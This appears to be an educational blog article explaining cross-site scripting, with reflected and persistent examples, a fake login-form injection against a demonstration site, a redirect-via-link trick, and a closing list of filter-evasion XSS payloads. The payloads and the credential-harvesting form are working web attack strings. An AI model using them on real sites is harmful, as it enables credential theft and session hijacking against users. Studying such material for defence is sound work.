Cross Site Scripting

Cross Site Scripting 

As the name implies, Cross Site Scripting means a sort of Scripting that is done outside the scope of the website. For example: A website is providing a text box to  input some text and a malicious user is entering some script(s) [ mostly Javascript ] inside that text box to execute those scripts on the server or anyway.

“Cross Site Scripting” abbreviated as “XSS” not “CSS” as “CSS” has already denoted for “Cascading Style Sheet”.

Website owners must know the serious consequences of XSS when exploited on a vulnerable web application. Site owners says that it cannot be used to steal sensitive data from their database. This is a common mistake. There are stories where it was claimed that XSS is not really a risk. and this is someting a challenge for the hackers and that hackers always willing to accept,

A practical example of XSS on a test site

The following example shows how XSS can be used to modify the functionality of a web page and to re-design the page as per the hackers will: [third party example]

Load the following link in your browser: http://testasp.acunetix.com/Search.asp, you will notice that the page is a simple page with an input field for running a search

Try to insert the following code into the search field, and notice how a login form will be displayed on the page:

<br><br>Please login with the form below before proceeding:<form action="destination.asp"><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=LOGIN></form>

Then simply hit the search button after inserting the code.

Through the XSS flaw on the page, it has been possible to create a FAKE login form which can gather a user’s credentials. As seen in step 2, the code contains a section which mentions “destination.asp”. That is where a hacker can decide where the FAKE login form will send the user’s log-in details for them to be retrieved and used maliciously

A hacker can also inject this code by passing it around via the browser’s address bar as follows:

http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before+proceeding%3A%3Cform+action%3D%22test.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C%2Fform%3E

It is the process of injecting JavaScript (mainly) and also HTML into a webpage for important feedback. This feedback may contain many things;  one, most commonly being the user's cookie. A cookie is the variable that web-browsers use to store your login credentials. Without a cookie, you cannot "stay logged in" on your favorite websites. This is important because if somebody were to obtain your cookie, he/she could easily spoof your login information without any need of knowing your password. XSS is, in my opinion, the most common and dangerous exploit that exists on the internet today. It is dangerous because it is common (and useful), and it is common because it is most overlooked. Most WebPages today are user-interactive, which basically means that the website allows the user to interact with its content. Some of this interactivity may include search fields (most commonly), login forms, comment fields, feedback forms etc..

XSS attacks can be termed as such attacks that bypass the system checks and act themselves as  a part of the system. This mainly happens due to the non-sanitizing structure of HTML that has the capability to take any command [ in the proper tags ] and to display it on the user end. One single hole in the website that allows to enter scripts can harm anything in the website, that can be any page content, cookie(s), link(s) or even the Page redirection statements on the client side.

The malicious user can use mostly the Javascript to target any website. But XSS is not limited to Javascript only it may be JAVA, VBScript, Flash or any other web supported scripting language.

Most of the big brands in the website colony has became the prey of XSS like Yahoo, Google, Orkut and Facebook with the loss of huge revenue. Now they have controlled the threat but not cent percent. Each and everyday more than 50% of the new websites are targeting for the XSS attacks due to their weak security and validation structure.

There is no standard way of injecting XSS into any website. Even it is not necessary to have the XSS code inside the <Script> tags. This may be any method, any combination of characters, even in the Hexadecimal format XSS can insert, but the main measure is that how the website accepts the input from the user and what type of input it accepts from the user.

How it works

HTML encoding structure is such that it accepts every command or phrase withing the tags( <\> ) and hence there is a possibility to insert any tag(s) in a page that afterwards could act as a part of the same page with other HTML tag(s).

At the first sight, it seems that the effect of the XSS is limited to only one user and previously at the beginning days of XSS the malicious scripts were responsible for the damage of User interface and some images only, but as the resources grew, technology advanced, the way of XSS injection changed tremendously.

We can divide the XSS threats in two ways:

  1. Non Persistent scripts.
  2. Persistent Script.
  3. Non Persistent Scripts: If XSS attack is for some limited area only, eg: to change the behaviour, font, color of the website only then it is somewhat that can control.
  4. Persistent Script: But if the XSS attack is something that resides in the Server that can be more harmful for the complete system. Persistent XSS attack can even lead the complete system to be hacked.
  5. Basic XSS

   When the user searches for something and the input is reflected on the page, this may show signs of XSS possibilities. If the user were to search for <script>alert(1)</script>, and the returning page contained and alert box that read "1", the field is also vulnerable to XSS Injection.

   

  1. HTTP Response Splitting

   This has something to do with the headers that your browser uses to communicate to the server with. If the webpage allows you to modify them via post or get vars, and reflects the information back, you can easily modify these headers to your needs in order to cross-site script the page. Most commonly, the header's that are XSS'able are the User-Agent: headers. Most pages don't sanitize the user agent when reflecting back the user's browser properties (most commonly on a 404 page.)

 

Previously the attacks were limited to the HTML only. for eg: I have to display my name in Bold and in Red Color and the website in which my profile is, not allows Text Formatting then i can add my name in tags like <Font color = “Red” Bold = “True”>MyName</Font> and then i will save this string and if the website is simply displaying my name then this string will be treating as a part of HTML of the same page and the name will appear Bold and Red every time as the string “<Font color = “Red” Bold = “True”>MyName</Font>” is saved in the database.

 

You're passing a user's first name around from one page to another and then are displaying that querystring value on the page with a Response.Write, here you are increase the chances of  XSS.

 

For Example:

http://whatzit.com/whatthe/WebForm1.aspx?fName=Lumpy

Now you want some changes:

Response.Write(\\"Hello \\" + Request.QueryString(\\"fName\\"));

When you run this code you get the following output:

Hello Lumpy

Here's some more that would produce the "Hello Lumpy" output:

http://whatzit.com/whatthe/WebForm1.aspx?fName=Lumpy

But here is something dangerous!

http://whatzit.com/whatthe/WebForm1.aspx?fName= <script language='javascript'>alert("beotch");</script>

now, the browser will popup a nice little box telling you "beotch"!

Any code you execute in JavaScript can be piped into your site using the Cross Site Scripting vulnerability.

Check out this..

http://whatzit.com/whatthe/WebForm1.aspx?fName=<script language='javascript'>window.navigate('http://mrPron');</script>

Now, Check out this next line...

<a href="http:// whatzit.com/whatthe/WebForm1.aspx?fName=<script language='javascript'>window.navigate('http://mrPron');</script>">Mole Hair Removal</a>

 

I send someone a valid link to a URL, maybe they do make it to the site, but they also get something else... the nasty little JavaScript in the link.

 

But now a day(s) due to advent of new technologies like AJAX, DOM model(s), the situation is somewhat grave. How?

A malicious user finds some information in a social networking website as follows:

 

- Span tag (if available) or tag information of the “Sign Out” button, say the id of the <span> tag of Sign out is “spSIgnOut”.

- a page where the user can enter text or Scraps.

- all the input controls on the page [including hidden controls by using the Source of the Web page ].

- all the input controls of which information saves in the database on postback.

 

Here to understand we assume that the website is not optimized for XSS attacks.

 

Now the malicious user enters a script in one of the text box inside <script> tag, in the script the user changing the InnerHTML of the span tag “spSignOut”:

 

<script language = ‘javascript’>

!--Code to change the innerhtml of the sign out span with the alert(‘you cannot sign out of the system’);

</script>

 

After entering this command, the malicious user saves the scrap. Now on the opening of the same scrap the html link of the sign out link will have been changed. And this is inside the database, it will happen again and again. And by this way the malicious user would have been changed the HTML by XSS.

You can now imagine how dangerous the XSS is.

You can use some measures to avoid this like:

  1. Enocoding and Decoding of Tags if present in any input
  2. Disabling scripts
  3. Matching the Response and Request data on each postback.

 

But can the traditional methods can stop the XSS threats??

I think NO because here are some other methods to inject XSS like:

 

'';!--"<XSS>=&{()}

 

and,

<IMG SRC="javascript:alert('XSS');">

and,

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

and,

<iframe src=http://ha.ckers.org/scriptlet.html <

and,

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

and,

exp/*<A STYLE='no\xss:noxss("*//*");

xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

and,

many other ways even i dont know

 

Log Out ?

Are you sure you want to log out?

Press No if youwant to continue work. Press Yes to logout current user.